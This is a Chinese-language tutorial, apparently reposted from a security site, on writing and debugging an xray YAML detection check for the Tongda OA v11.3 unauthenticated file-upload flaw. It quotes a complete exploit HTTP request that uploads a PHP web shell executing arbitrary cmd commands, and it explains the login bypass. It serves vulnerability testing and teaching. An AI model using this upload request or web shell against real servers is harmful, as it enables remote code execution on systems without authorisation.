本文主要参考来源如下
https://www.freebuf.com/articles/web/230871.html
https://www.cnblogs.com/L0ading/p/12565426.html
https://docs.xray.cool/#/guide/hiq/file_upload
https://www.yuque.com/jarciscy/zkonow/ohst4v#6046ae3f
https://www.freebuf.com/articles/web/230871.html
编写POC用的语言
这里采用YAML编写,因为有一套对POC编写的指南供参考,主要是方便新人查找,省去到处翻花费的时间成本,相对来说会方便些,建议看过之后再进行编写,编写一个POC还能增加自己的技能和对漏洞深入理解
参考地址:https://www.yuque.com/jarciscy/zkonow
编写一个POC的基本步骤
先需要知道漏洞是因什么触发的,是参数,还是路径,还是其他条件或方法,然后将这个条件用代码的形式表现出来,编写POC就是为了节省时间增加效率
一、编辑器配置
这里采用vscode做编辑器
下载地址:https://code.visualstudio.com/
vscode在扩展中安装YAML插件
设置他的setting.json
设置的代码如下
{ "yaml.schemas": { "https://raw.githubusercontent.com/chaitin/gamma/master/static/schema/schema-v2.json": ["fingerprint-yaml-*.yml", "poc-yaml-*.yml"] }, "redhat.telemetry.enabled": false, "yaml.customTags": [ ] }
创建一个poc-yaml- 开头且 yml 为拓展名的文件,不然没有智能提示,第一行有BUG,不一定有提示
编辑器到这配置完成
如果没有提示则重启编辑器,因为规则从github获取
右下角出现POC check那么规则获取正常
二、漏洞逻辑分析
本次以通达OAV 11.3版本作为演示,本次演示漏洞点主要为文件上传,当前版本的通达OA不止一个漏洞(一般文件上传、文件包含、任意用户登录漏洞会同时出现)
环境配置好后,进入首页,OA默认端口8080
黑盒测试的渗透演示如下
已知该OA存在文件上传漏洞
该漏洞利用点在/ispirit/im/upload.php
直接访问利用点
抓包并进行文件上传,使用公开POC
参考地址:https://www.cnblogs.com/L0ading/p/12565426.html
POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.1.106 Content-Length: 658 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE" 2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P" 123 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID" 1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--
Burp的回显,出现这个则代表上传成功
上传成功后,在im目录下生成一个新的文件夹,名称为当前年份和月份,被上传的文件的文件名会随机生成,如果命名了文件则在命名前加随机名称,一般为数字
如果是HTML表单上传则会出现如下画面
在实际测试中,虽然部分参数名称不正确也能上传成功,但为了确保每次上传都能成功,所以4个参数名称固定
参数不正确的测试结果如下
1.假设第三个参数名称不正确
上传成功
2.假设第一个参数不正确
上传成功
3.假设除第二个参数外,其他都不正确
则上传失败
白盒分析情况
经过对比为确保上传成功几率,则四个参数都正确(参数全大写,不要小写,否则传参失败)
经过参考现有的代码审计和实际测试,分析出有以下逻辑
参考地址:https://www.freebuf.com/articles/web/230871.html
1.参数p不为空,则绕过auth.php的登陆验证
2.参数DEST_UID为0时,UPLOAD_MODE要为2,让DEST_UID不为0,则达到容易利用效果(比如为1)
3.参数ATTACHMENT是上传文件的地方
4.UPLOAD_MODE在DEST_UID不为0时(比如1),参数值1、2、3都可以使用
三、编写POC逻辑的分析
上文提到了要想上传成功,则就要对4个参数构造对应数值
如果没有思路的话参考这里的模板来写,具体情况具体分析
https://docs.xray.cool/#/guide/hiq/file_upload
https://docs.xray.cool/#/guide/yaml/yaml_poc_template?id=%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0
首先是set部分,我的理解就是赋值用的,这里赋值两个随机数做文件名和构造文件上传的Boundary,并且设置http作为发包请求
写一个rules和r1,代表这个规则集rules只需要一个rule规则就够了,因为通达OA上传时候不会返回具体地址
r1规则如下(request=请求)
path是漏洞地址,上传一般都是需要POST传参(所以设置method为POST),headers不仅可以设置Contant-type还可以设置cookie,cache暂时设置为false让其不缓存方便调试,代码完善可以达到效果了在设置成true,#用于注释
path的其他用法参考:https://docs.xray.cool/#/guide/skill/path
body如下
分别对应了4个参数和上传表单构建,在"{{}}"这两个花括号代表了引用set设置好的随机值,后面的s1同理,expression用于调用并获得rule对应结果用的,这里可以理解为只有http状态为200和出现+OK字符才算漏洞验证成功
最后一步,最外一层的expression同理,也是调用并获得rule对应结果,这里引用原话
每一个expression表达式都会返回一个bool结果,然后在存在&&或||的时候,与其他的expression表达式做运算,最终出一个结果,最终结果如果为true,则代表这个规则命中。
具体的用法还需要参考官方文档,这里只需要一个规则,所以不需要做多余的条件匹配,detail是xray执行并且匹配成功后的信息部分回显
用法参考地址:https://www.yuque.com/jarciscy/zkonow/ohst4v#6046ae3f
全文代码如下
name: poc-yaml-tongdaoa-upload manual: true transport: http set: s1: randomLowercase(8) rBoundary: randomLowercase(16) rules: r1: request: cache: false method: POST path: /ispirit/im/upload.php headers: Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rBoundary}} #Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB" body: |- ------WebKitFormBoundary{{rBoundary}} Content-Disposition: form-data; name="UPLOAD_MODE" 2 ------WebKitFormBoundary{{rBoundary}} Content-Disposition: form-data; name="P" 123 ------WebKitFormBoundary{{rBoundary}} Content-Disposition: form-data; name="DEST_UID" 1 ------WebKitFormBoundary{{rBoundary}} Content-Disposition: form-data; name="ATTACHMENT"; filename="{{s1}}.jpg" Content-Type: image/jpeg hello upload-POC ------WebKitFormBoundary{{rBoundary}}-- expression: response.status == 200 && response.body_string.contains("+OK") expression: r1() detail: author: tongdaoa-upload links: - https://www.codenong.com/cs105166034/
四、POC的调试
将xray配置文件添加bp监听的IP和端口这样方便调试POC
确认bp监听的IP和端口
在xray配置文件"proxy"中添加对应代码
bp将截断禁用,不禁用xray发包时候会被拦截
将写好的POC放入xray文件夹中,方便调用和更改
下面开始使用POC,并在bp中查看效果
在xray存放的文件夹执行cmd进入命令窗口
执行命令 xray_windows_amd64.exe ws --poc yaml-xxxx.yml --url http://ip:port
出现detail部分就是执行成功了,如不出现就是没有达到验证效果,这跟编写的代码有关
五、排错方法参考
我这里之前犯了一个错误,就是参数name中的p不是大写P而是小写p,这就会导致验证不成功,可以将自己写的poc代码与其他POC进行对比,用vscode的对比功能查看body中参数是否有缺失和大小写问题,我是在改了很多次代码后,才想起来是不是参数没设置对
来源:https://www.freebuf.com/articles/web/386764.html
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!